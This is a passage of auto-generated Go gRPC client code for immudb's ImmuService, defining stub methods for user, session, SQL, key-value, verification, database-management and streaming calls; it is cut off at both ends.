context.Context, in *TruncateDatabaseRequest, opts ...grpc.CallOption) (*TruncateDatabaseResponse, error)\n}\n\ntype immuServiceClient struct {\n\tcc grpc.ClientConnInterface\n}\n\nfunc NewImmuServiceClient(cc grpc.ClientConnInterface) ImmuServiceClient {\n\treturn &immuServiceClient{cc}\n}\n\nfunc (c *immuServiceClient) ListUsers(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*UserList, error) {\n\tout := new(UserList)\n\terr := c.cc.Invoke(ctx, \"/immudb.schema.ImmuService/ListUsers\", in, out, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn out, nil\n}\n\nfunc (c *immuServiceClient) CreateUser(ctx context.Context, in *CreateUserRequest, opts ...grpc.CallOption) (*emptypb.Empty, error) {\n\tout := new(emptypb.Empty)\n\terr := c.cc.Invoke(ctx, \"/immudb.schema.ImmuService/CreateUser\", in, out, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn out, nil\n}\n\nfunc (c *immuServiceClient) ChangePassword(ctx context.Context, in *ChangePasswordRequest, opts ...grpc.CallOption) (*emptypb.Empty, error) {\n\tout := new(emptypb.Empty)\n\terr := c.cc.Invoke(ctx, \"/immudb.schema.ImmuService/ChangePassword\", in, out, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn out, nil\n}\n\nfunc (c *immuServiceClient) ChangePermission(ctx context.Context, in *ChangePermissionRequest, opts ...grpc.CallOption) (*emptypb.Empty, error) {\n\tout := new(emptypb.Empty)\n\terr := c.cc.Invoke(ctx, \"/immudb.schema.ImmuService/ChangePermission\", in, out, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn out, nil\n}\n\nfunc (c *immuServiceClient) ChangeSQLPrivileges(ctx context.Context, in *ChangeSQLPrivilegesRequest, opts ...grpc.CallOption) (*ChangeSQLPrivilegesResponse, error) {\n\tout := new(ChangeSQLPrivilegesResponse)\n\terr := c.cc.Invoke(ctx, \"/immudb.schema.ImmuService/ChangeSQLPrivileges\", in, out, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn out, nil\n}\n\nfunc (c *immuServiceClient) SetActiveUser(ctx context.Context, in *SetActiveUserRequest, opts ...grpc.CallOption) (*emptypb.Empty, error) {\n\tout := new(emptypb.Empty)\n\terr := c.cc.Invoke(ctx, \"/immudb.schema.ImmuService/SetActiveUser\", in, out, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn out, nil\n}\n\n// Deprecated: Do not use.\nfunc (c *immuServiceClient) UpdateAuthConfig(ctx context.Context, in *AuthConfig, opts ...grpc.CallOption) (*emptypb.Empty, error) {\n\tout := new(emptypb.Empty)\n\terr := c.cc.Invoke(ctx, \"/immudb.schema.ImmuService/UpdateAuthConfig\", in, out, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn out, nil\n}\n\n// Deprecated: Do not use.\nfunc (c *immuServiceClient) UpdateMTLSConfig(ctx context.Context, in *MTLSConfig, opts ...grpc.CallOption) (*emptypb.Empty, error) {\n\tout := new(emptypb.Empty)\n\terr := c.cc.Invoke(ctx, \"/immudb.schema.ImmuService/UpdateMTLSConfig\", in, out, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn out, nil\n}\n\nfunc (c *immuServiceClient) OpenSession(ctx context.Context, in *OpenSessionRequest, opts ...grpc.CallOption) (*OpenSessionResponse, error) {\n\tout := new(OpenSessionResponse)\n\terr := c.cc.Invoke(ctx, \"/immudb.schema.ImmuService/OpenSession\", in, out, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn out, nil\n}\n\nfunc (c *immuServiceClient) CloseSession(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*emptypb.Empty, error) {\n\tout := new(emptypb.Empty)\n\terr := c.cc.Invoke(ctx, \"/immudb.schema.ImmuService/CloseSession\", in, out, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn out, nil\n}\n\nfunc (c *immuServiceClient) KeepAlive(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*emptypb.Empty, error) {\n\tout := new(emptypb.Empty)\n\terr := c.cc.Invoke(ctx, \"/immudb.schema.ImmuService/KeepAlive\", in, out, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn out, nil\n}\n\nfunc (c *immuServiceClient) NewTx(ctx context.Context, in *NewTxRequest, opts ...grpc.CallOption) (*NewTxResponse, error) {\n\tout := new(NewTxResponse)\n\terr := c.cc.Invoke(ctx, \"/immudb.schema.ImmuService/NewTx\", in, out, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn out, nil\n}\n\nfunc (c *immuServiceClient) Commit(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*CommittedSQLTx, error) {\n\tout := new(CommittedSQLTx)\n\terr := c.cc.Invoke(ctx, \"/immudb.schema.ImmuService/Commit\", in, out, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn out, nil\n}\n\nfunc (c *immuServiceClient) Rollback(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*emptypb.Empty, error) {\n\tout := new(emptypb.Empty)\n\terr := c.cc.Invoke(ctx, \"/immudb.schema.ImmuService/Rollback\", in, out, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn out, nil\n}\n\nfunc (c *immuServiceClient) TxSQLExec(ctx context.Context, in *SQLExecRequest, opts ...grpc.CallOption) (*emptypb.Empty, error) {\n\tout := new(emptypb.Empty)\n\terr := c.cc.Invoke(ctx, \"/immudb.schema.ImmuService/TxSQLExec\", in, out, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn out, nil\n}\n\nfunc (c *immuServiceClient) TxSQLQuery(ctx context.Context, in *SQLQueryRequest, opts ...grpc.CallOption) (ImmuService_TxSQLQueryClient, error) {\n\tstream, err := c.cc.NewStream(ctx, &ImmuService_ServiceDesc.Streams[0], \"/immudb.schema.ImmuService/TxSQLQuery\", opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tx := &immuServiceTxSQLQueryClient{stream}\n\tif err := x.ClientStream.SendMsg(in); err != nil {\n\t\treturn nil, err\n\t}\n\tif err := x.ClientStream.CloseSend(); err != nil {\n\t\treturn nil, err\n\t}\n\treturn x, nil\n}\n\ntype ImmuService_TxSQLQueryClient interface {\n\tRecv() (*SQLQueryResult, error)\n\tgrpc.ClientStream\n}\n\ntype immuServiceTxSQLQueryClient struct {\n\tgrpc.ClientStream\n}\n\nfunc (x *immuServiceTxSQLQueryClient) Recv() (*SQLQueryResult, error) {\n\tm := new(SQLQueryResult)\n\tif err := x.ClientStream.RecvMsg(m); err != nil {\n\t\treturn nil, err\n\t}\n\treturn m, nil\n}\n\n// Deprecated: Do not use.\nfunc (c *immuServiceClient) Login(ctx context.Context, in *LoginRequest, opts ...grpc.CallOption) (*LoginResponse, error) {\n\tout := new(LoginResponse)\n\terr := c.cc.Invoke(ctx, \"/immudb.schema.ImmuService/Login\", in, out, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn out, nil\n}\n\n// Deprecated: Do not use.\nfunc (c *immuServiceClient) Logout(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*emptypb.Empty, error) {\n\tout := new(emptypb.Empty)\n\terr := c.cc.Invoke(ctx, \"/immudb.schema.ImmuService/Logout\", in, out, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn out, nil\n}\n\nfunc (c *immuServiceClient) Set(ctx context.Context, in *SetRequest, opts ...grpc.CallOption) (*TxHeader, error) {\n\tout := new(TxHeader)\n\terr := c.cc.Invoke(ctx, \"/immudb.schema.ImmuService/Set\", in, out, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn out, nil\n}\n\nfunc (c *immuServiceClient) VerifiableSet(ctx context.Context, in *VerifiableSetRequest, opts ...grpc.CallOption) (*VerifiableTx, error) {\n\tout := new(VerifiableTx)\n\terr := c.cc.Invoke(ctx, \"/immudb.schema.ImmuService/VerifiableSet\", in, out, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn out, nil\n}\n\nfunc (c *immuServiceClient) Get(ctx context.Context, in *KeyRequest, opts ...grpc.CallOption) (*Entry, error) {\n\tout := new(Entry)\n\terr := c.cc.Invoke(ctx, \"/immudb.schema.ImmuService/Get\", in, out, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn out, nil\n}\n\nfunc (c *immuServiceClient) VerifiableGet(ctx context.Context, in *VerifiableGetRequest, opts ...grpc.CallOption) (*VerifiableEntry, error) {\n\tout := new(VerifiableEntry)\n\terr := c.cc.Invoke(ctx, \"/immudb.schema.ImmuService/VerifiableGet\", in, out, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn out, nil\n}\n\nfunc (c *immuServiceClient) Delete(ctx context.Context, in *DeleteKeysRequest, opts ...grpc.CallOption) (*TxHeader, error) {\n\tout := new(TxHeader)\n\terr := c.cc.Invoke(ctx, \"/immudb.schema.ImmuService/Delete\", in, out, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn out, nil\n}\n\nfunc (c *immuServiceClient) GetAll(ctx context.Context, in *KeyListRequest, opts ...grpc.CallOption) (*Entries, error) {\n\tout := new(Entries)\n\terr := c.cc.Invoke(ctx, \"/immudb.schema.ImmuService/GetAll\", in, out, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn out, nil\n}\n\nfunc (c *immuServiceClient) ExecAll(ctx context.Context, in *ExecAllRequest, opts ...grpc.CallOption) (*TxHeader, error) {\n\tout := new(TxHeader)\n\terr := c.cc.Invoke(ctx, \"/immudb.schema.ImmuService/ExecAll\", in, out, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn out, nil\n}\n\nfunc (c *immuServiceClient) Scan(ctx context.Context, in *ScanRequest, opts ...grpc.CallOption) (*Entries, error) {\n\tout := new(Entries)\n\terr := c.cc.Invoke(ctx, \"/immudb.schema.ImmuService/Scan\", in, out, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn out, nil\n}\n\nfunc (c *immuServiceClient) Count(ctx context.Context, in *KeyPrefix, opts ...grpc.CallOption) (*EntryCount, error) {\n\tout := new(EntryCount)\n\terr := c.cc.Invoke(ctx, \"/immudb.schema.ImmuService/Count\", in, out, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn out, nil\n}\n\nfunc (c *immuServiceClient) CountAll(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*EntryCount, error) {\n\tout := new(EntryCount)\n\terr := c.cc.Invoke(ctx, \"/immudb.schema.ImmuService/CountAll\", in, out, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn out, nil\n}\n\nfunc (c *immuServiceClient) TxById(ctx context.Context, in *TxRequest, opts ...grpc.CallOption) (*Tx, error) {\n\tout := new(Tx)\n\terr := c.cc.Invoke(ctx, \"/immudb.schema.ImmuService/TxById\", in, out, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn out, nil\n}\n\nfunc (c *immuServiceClient) VerifiableTxById(ctx context.Context, in *VerifiableTxRequest, opts ...grpc.CallOption) (*VerifiableTx, error) {\n\tout := new(VerifiableTx)\n\terr := c.cc.Invoke(ctx, \"/immudb.schema.ImmuService/VerifiableTxById\", in, out, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn out, nil\n}\n\nfunc (c *immuServiceClient) TxScan(ctx context.Context, in *TxScanRequest, opts ...grpc.CallOption) (*TxList, error) {\n\tout := new(TxList)\n\terr := c.cc.Invoke(ctx, \"/immudb.schema.ImmuService/TxScan\", in, out, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn out, nil\n}\n\nfunc (c *immuServiceClient) History(ctx context.Context, in *HistoryRequest, opts ...grpc.CallOption) (*Entries, error) {\n\tout := new(Entries)\n\terr := c.cc.Invoke(ctx, \"/immudb.schema.ImmuService/History\", in, out, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn out, nil\n}\n\nfunc (c *immuServiceClient) ServerInfo(ctx context.Context, in *ServerInfoRequest, opts ...grpc.CallOption) (*ServerInfoResponse, error) {\n\tout := new(ServerInfoResponse)\n\terr := c.cc.Invoke(ctx, \"/immudb.schema.ImmuService/ServerInfo\", in, out, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn out, nil\n}\n\nfunc (c *immuServiceClient) Health(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*HealthResponse, error) {\n\tout := new(HealthResponse)\n\terr := c.cc.Invoke(ctx, \"/immudb.schema.ImmuService/Health\", in, out, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn out, nil\n}\n\nfunc (c *immuServiceClient) DatabaseHealth(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*DatabaseHealthResponse, error) {\n\tout := new(DatabaseHealthResponse)\n\terr := c.cc.Invoke(ctx, \"/immudb.schema.ImmuService/DatabaseHealth\", in, out, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn out, nil\n}\n\nfunc (c *immuServiceClient) CurrentState(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*ImmutableState, error) {\n\tout := new(ImmutableState)\n\terr := c.cc.Invoke(ctx, \"/immudb.schema.ImmuService/CurrentState\", in, out, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn out, nil\n}\n\nfunc (c *immuServiceClient) SetReference(ctx context.Context, in *ReferenceRequest, opts ...grpc.CallOption) (*TxHeader, error) {\n\tout := new(TxHeader)\n\terr := c.cc.Invoke(ctx, \"/immudb.schema.ImmuService/SetReference\", in, out, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn out, nil\n}\n\nfunc (c *immuServiceClient) VerifiableSetReference(ctx context.Context, in *VerifiableReferenceRequest, opts ...grpc.CallOption) (*VerifiableTx, error) {\n\tout := new(VerifiableTx)\n\terr := c.cc.Invoke(ctx, \"/immudb.schema.ImmuService/VerifiableSetReference\", in, out, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn out, nil\n}\n\nfunc (c *immuServiceClient) ZAdd(ctx context.Context, in *ZAddRequest, opts ...grpc.CallOption) (*TxHeader, error) {\n\tout := new(TxHeader)\n\terr := c.cc.Invoke(ctx, \"/immudb.schema.ImmuService/ZAdd\", in, out, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn out, nil\n}\n\nfunc (c *immuServiceClient) VerifiableZAdd(ctx context.Context, in *VerifiableZAddRequest, opts ...grpc.CallOption) (*VerifiableTx, error) {\n\tout := new(VerifiableTx)\n\terr := c.cc.Invoke(ctx, \"/immudb.schema.ImmuService/VerifiableZAdd\", in, out, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn out, nil\n}\n\nfunc (c *immuServiceClient) ZScan(ctx context.Context, in *ZScanRequest, opts ...grpc.CallOption) (*ZEntries, error) {\n\tout := new(ZEntries)\n\terr := c.cc.Invoke(ctx, \"/immudb.schema.ImmuService/ZScan\", in, out, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn out, nil\n}\n\n// Deprecated: Do not use.\nfunc (c *immuServiceClient) CreateDatabase(ctx context.Context, in *Database, opts ...grpc.CallOption) (*emptypb.Empty, error) {\n\tout := new(emptypb.Empty)\n\terr := c.cc.Invoke(ctx, \"/immudb.schema.ImmuService/CreateDatabase\", in, out, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn out, nil\n}\n\n// Deprecated: Do not use.\nfunc (c *immuServiceClient) CreateDatabaseWith(ctx context.Context, in *DatabaseSettings, opts ...grpc.CallOption) (*emptypb.Empty, error) {\n\tout := new(emptypb.Empty)\n\terr := c.cc.Invoke(ctx, \"/immudb.schema.ImmuService/CreateDatabaseWith\", in, out, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn out, nil\n}\n\nfunc (c *immuServiceClient) CreateDatabaseV2(ctx context.Context, in *CreateDatabaseRequest, opts ...grpc.CallOption) (*CreateDatabaseResponse, error) {\n\tout := new(CreateDatabaseResponse)\n\terr := c.cc.Invoke(ctx, \"/immudb.schema.ImmuService/CreateDatabaseV2\", in, out, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn out, nil\n}\n\nfunc (c *immuServiceClient) LoadDatabase(ctx context.Context, in *LoadDatabaseRequest, opts ...grpc.CallOption) (*LoadDatabaseResponse, error) {\n\tout := new(LoadDatabaseResponse)\n\terr := c.cc.Invoke(ctx, \"/immudb.schema.ImmuService/LoadDatabase\", in, out, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn out, nil\n}\n\nfunc (c *immuServiceClient) UnloadDatabase(ctx context.Context, in *UnloadDatabaseRequest, opts ...grpc.CallOption) (*UnloadDatabaseResponse, error) {\n\tout := new(UnloadDatabaseResponse)\n\terr := c.cc.Invoke(ctx, \"/immudb.schema.ImmuService/UnloadDatabase\", in, out, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn out, nil\n}\n\nfunc (c *immuServiceClient) DeleteDatabase(ctx context.Context, in *DeleteDatabaseRequest, opts ...grpc.CallOption) (*DeleteDatabaseResponse, error) {\n\tout := new(DeleteDatabaseResponse)\n\terr := c.cc.Invoke(ctx, \"/immudb.schema.ImmuService/DeleteDatabase\", in, out, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn out, nil\n}\n\n// Deprecated: Do not use.\nfunc (c *immuServiceClient) DatabaseList(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*DatabaseListResponse, error) {\n\tout := new(DatabaseListResponse)\n\terr := c.cc.Invoke(ctx, \"/immudb.schema.ImmuService/DatabaseList\", in, out, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn out, nil\n}\n\nfunc (c *immuServiceClient) DatabaseListV2(ctx context.Context, in *DatabaseListRequestV2, opts ...grpc.CallOption) (*DatabaseListResponseV2, error) {\n\tout := new(DatabaseListResponseV2)\n\terr := c.cc.Invoke(ctx, \"/immudb.schema.ImmuService/DatabaseListV2\", in, out, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn out, nil\n}\n\nfunc (c *immuServiceClient) UseDatabase(ctx context.Context, in *Database, opts ...grpc.CallOption) (*UseDatabaseReply, error) {\n\tout := new(UseDatabaseReply)\n\terr := c.cc.Invoke(ctx, \"/immudb.schema.ImmuService/UseDatabase\", in, out, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn out, nil\n}\n\n// Deprecated: Do not use.\nfunc (c *immuServiceClient) UpdateDatabase(ctx context.Context, in *DatabaseSettings, opts ...grpc.CallOption) (*emptypb.Empty, error) {\n\tout := new(emptypb.Empty)\n\terr := c.cc.Invoke(ctx, \"/immudb.schema.ImmuService/UpdateDatabase\", in, out, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn out, nil\n}\n\nfunc (c *immuServiceClient) UpdateDatabaseV2(ctx context.Context, in *UpdateDatabaseRequest, opts ...grpc.CallOption) (*UpdateDatabaseResponse, error) {\n\tout := new(UpdateDatabaseResponse)\n\terr := c.cc.Invoke(ctx, \"/immudb.schema.ImmuService/UpdateDatabaseV2\", in, out, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn out, nil\n}\n\n// Deprecated: Do not use.\nfunc (c *immuServiceClient) GetDatabaseSettings(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*DatabaseSettings, error) {\n\tout := new(DatabaseSettings)\n\terr := c.cc.Invoke(ctx, \"/immudb.schema.ImmuService/GetDatabaseSettings\", in, out, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn out, nil\n}\n\nfunc (c *immuServiceClient) GetDatabaseSettingsV2(ctx context.Context, in *DatabaseSettingsRequest, opts ...grpc.CallOption) (*DatabaseSettingsResponse, error) {\n\tout := new(DatabaseSettingsResponse)\n\terr := c.cc.Invoke(ctx, \"/immudb.schema.ImmuService/GetDatabaseSettingsV2\", in, out, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn out, nil\n}\n\nfunc (c *immuServiceClient) FlushIndex(ctx context.Context, in *FlushIndexRequest, opts ...grpc.CallOption) (*FlushIndexResponse, error) {\n\tout := new(FlushIndexResponse)\n\terr := c.cc.Invoke(ctx, \"/immudb.schema.ImmuService/FlushIndex\", in, out, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn out, nil\n}\n\nfunc (c *immuServiceClient) CompactIndex(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*emptypb.Empty, error) {\n\tout := new(emptypb.Empty)\n\terr := c.cc.Invoke(ctx, \"/immudb.schema.ImmuService/CompactIndex\", in, out, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn out, nil\n}\n\nfunc (c *immuServiceClient) StreamGet(ctx context.Context, in *KeyRequest, opts ...grpc.CallOption) (ImmuService_StreamGetClient, error) {\n\tstream, err := c.cc.NewStream(ctx, &ImmuService_ServiceDesc.Streams[1], \"/immudb.schema.ImmuService/streamGet\", opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tx := &immuServiceStreamGetClient{stream}\n\tif err := x.ClientStream.SendMsg(in); err != nil {\n\t\treturn nil, err\n\t}\n\tif err := x.ClientStream.CloseSend(); err != nil {\n\t\treturn nil, err\n\t}\n\treturn x, nil\n}\n\ntype ImmuService_StreamGetClient interface {\n\tRecv() (*Chunk, error)\n\tgrpc.ClientStream\n}\n\ntype immuServiceStreamGetClient struct {\n\tgrpc.ClientStream\n}\n\nfunc (x *immuServiceStreamGetClient) Recv() (*Chunk, error) {\n\tm := new(Chunk)\n\tif err := x.ClientStream.RecvMsg(m); err != nil {\n\t\treturn nil, err\n\t}\n\treturn m, nil\n}\n\nfunc (c *immuServiceClient) StreamSet(ctx context.Context, opts ...grpc.CallOption) (ImmuService_StreamSetClient, error) {\n\tstream, err := c.cc.NewStream(ctx, &ImmuService_ServiceDesc.Streams[2], \"/immudb.schema.ImmuService/streamSet\", opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tx := &immuServiceStreamSetClient{stream}\n\treturn x, nil\n}\n\ntype ImmuService_StreamSetClient interface {\n\tSend(*Chunk) error\n\tCloseAndRecv() (*TxHeader, error)\n\tgrpc.ClientStream\n}\n\ntype immuServiceStreamSetClient struct {\n\tgrpc.ClientStream\n}\n\nfunc (x *immuServiceStreamSetClient) Send(m *Chunk) error {\n\treturn x.ClientStream.SendMsg(m)\n}\n\nfunc (x *immuServiceStreamSetClient) CloseAndRecv() (*TxHeader, error) {\n\tif err := x.ClientStream.CloseSend(); err != nil {\n\t\treturn nil, err\n\t}\n\tm := new(TxHeader)\n\tif err := x.ClientStream.RecvMsg(m); err != nil {\n\t\treturn nil, err\n\t}\n\treturn m, nil\n}\n\nfunc (c *immuServiceClient) StreamVerifiableGet(ctx context.Context, in *VerifiableGetRequest, opts ...grpc.CallOption) (ImmuService_StreamVerifiableGetClient, error) {\n\tstream, err := c.cc.NewStream(ctx, &ImmuService_ServiceDesc.Streams[3], \"/immudb.schema.ImmuService/streamVerifiableGet\", opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tx := &immuServiceStreamVerifiableGetClient{stream}\n\tif err := x.ClientStream.SendMsg(in); err != nil {\n\t\treturn nil, err\n\t}\n\tif err := x.ClientStream.CloseSend(); err != nil {\n\t\treturn nil, err\n\t}\n\treturn x, nil\n}\n\ntype ImmuService_StreamVerifiableGetClient interface {\n\tRecv() (*Chunk, error)\n\tgrpc.ClientStream\n}\n\ntype immuServiceStreamVerifiableGetClient struct {\n\tgrpc.ClientStream\n}\n\nfunc (x *immuServiceStreamVerifiableGetClient) Recv() (*Chunk, error) {\n\tm := new(Chunk)\n\tif err := x.ClientStream.RecvMsg(m); err != nil {\n\t\treturn nil, err\n\t}\n\treturn m, nil\n}\n\nfunc (c *immuServiceClient) StreamVerifiableSet(ctx context.Context, opts ...grpc.CallOption) (ImmuService_StreamVerifiableSetClient, error) {\n\tstream, err := c.cc.NewStream(ctx, &ImmuService_ServiceDesc.Streams[4], \"/immudb.schema.ImmuService/streamVerifiableSet\", opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tx := &immuServiceStreamVerifiableSetClient{stream}\n\treturn x, nil\n}\n\ntype ImmuService_StreamVerifiableSetClient interface {\n\tSend(*Chunk) error\n\tCloseAndRecv() (*VerifiableTx, error)\n\tgrpc.ClientStream\n}\n\ntype immuServiceStreamVerifiableSetClient struct {\n\tgrpc.ClientStream\n}\n\nfunc (x *immuServiceStreamVerifiableSetClient) Send(m *Chunk) error {\n\treturn x.ClientStream.SendMsg(m)\n}\n\nfunc (x *immuServiceStreamVerifiableSetClient) CloseAndRecv() (*VerifiableTx, error) {\n\tif err := x.ClientStream.CloseSend(); err != nil {\n\t\treturn nil, err\n\t}\n\tm := new(VerifiableTx)\n\tif err := x.ClientStream.RecvMsg(m); err != nil {\n\t\treturn nil, err\n\t}\n\treturn m, nil\n}\n\nfunc (c *immuServiceClient) StreamScan(ctx context.Context, in *ScanRequest, opts ...grpc.CallOption) (ImmuService_StreamScanClient, error) {\n\tstream, err := c.cc.NewStream(ctx, &ImmuService_ServiceDesc.Streams[5], \"/immudb.schema.ImmuService/streamScan\", opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tx := &immuServiceStreamScanClient{stream}\n\tif err := x.ClientStream.SendMsg(in); err != nil {\n\t\treturn nil, err\n\t}\n\tif err := x.ClientStream.CloseSend(); err != nil {\n\t\treturn nil, err\n\t}\n\treturn x, nil\n}\n\ntype ImmuService_StreamScanClient interface {\n\tRecv() (*Chunk, error)\n\tgrpc.ClientStream\n}\n\ntype immuServiceStreamScanClient struct {\n\tgrpc.ClientStream\n}\n\nfunc (x *immuServiceStreamScanClient) Recv() (*Chunk, error) {\n\tm := new(Chunk)\n\tif err := x.ClientStream.RecvMsg(m); err != nil {\n\t\treturn nil, err\n\t}\n\treturn m, nil\n}\n\nfunc (c *immuServiceClient) StreamZScan(ctx context.Context, in *ZScanRequest, opts ...grpc.CallOption) (ImmuService_StreamZScanClient, error) {\n\tstream, err := c.cc.NewStream(ctx, &ImmuService_ServiceDesc.Streams[6], \"/immudb.schema.ImmuService/streamZScan\", opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tx := &immuServiceStreamZScanClient{stream}\n\tif err := x.ClientStream.SendMsg(in); err != nil {\n\t\treturn nil, err\n\t}\n\tif err := x.ClientStream.CloseSend(); err != nil {\n\t\treturn nil, err\n\t}\n\treturn x, nil\n}\n\ntype ImmuService_StreamZScanClient interface {\n\tRecv() (*Chunk, error)\n\tgrpc.ClientStream\n}\n\ntype immuServiceStreamZScanClient struct {\n\tgrpc.ClientStream\n}\n\nfunc (x *immuServiceStreamZScanClient) Recv() (*Chunk, error) {\n\tm := new(Chunk)\n\tif err := x.ClientStream.RecvMsg(m); err != nil {\n\t\treturn nil, err\n\t}\n\treturn m, nil\n}\n\nfunc (c *immuServiceClient) StreamHistory(ctx context.Context, in *HistoryRequest, opts ...grpc.CallOption) (ImmuService_StreamHistoryClient, error) {\n\tstream, err := c.cc.NewStream(ctx, &ImmuService_ServiceDesc.Streams[7], \"/immudb.schema.ImmuService/streamHistory\", opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tx := &immuServiceStreamHistoryClient{stream}\n\tif err := x.ClientStream.SendMsg(in); err != nil {\n\t\treturn nil, err\n\t}\n\tif err := x.ClientStream.CloseSend(); err != nil {\n\t\treturn nil, err\n\t}\n\treturn x, nil\n}\n\ntype ImmuService_StreamHistoryClient interface {\n\tRecv() (*Chunk, error)\n\tgrpc.ClientStream\n}\n\ntype immuServiceStreamHistoryClient struct {\n\tgrpc.ClientStream\n}\n\nfunc (x *immuServiceStreamHistoryClient) Recv() (*Chunk, error) {\n\tm := new(Chunk)\n\tif err := x.ClientStream.RecvMsg(m); err != nil {\n\t\treturn nil, err\n\t}\n\treturn m, nil\n}\n\nfunc (c *immuServiceClient) StreamExecAll(ctx context.Context, opts ...grpc.CallOption) (ImmuService_StreamExecAllClient, error) {\n\tstream, err := c.cc.NewStream(ctx, &ImmuService_ServiceDesc.Streams[8], \"/immudb.schema.ImmuService/streamExecAll\", opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tx := &immuServiceStreamExecAllClient{stream}\n\treturn x, nil\n}\n\ntype ImmuService_StreamExecAllClient interface {\n\tSend(*Chunk) error\n\tCloseAndRecv() (*TxHeader, error)\n\tgrpc.ClientStream\n}\n\ntype immuServiceStreamExecAllClient struct {\n\tgrpc.ClientStream\n}\n\nfunc (x *immuServiceStreamExecAllClient) Send(m *Chunk) error {\n\treturn x.ClientStream.SendMsg(m)\n}\n\nfunc (x *immuServiceStreamExecAllClient) CloseAndRecv() (*TxHeader, error) {\n\tif err := x.ClientStream.CloseSend(); err != nil {\n\t\treturn nil, err\n\t}\n\tm := new(TxHeader)\n\tif err := x.ClientStream.RecvMsg(m); err != nil {\n\t\treturn nil, err\n\t}\n\treturn m, nil\n}\n\nfunc (c *immuServiceClient) ExportTx(ctx context.Context, in *ExportTxRequest, opts ...grpc.CallOption) (ImmuService_ExportTxClient, error) {\n\tstream, err := c.cc.NewStream(ctx, 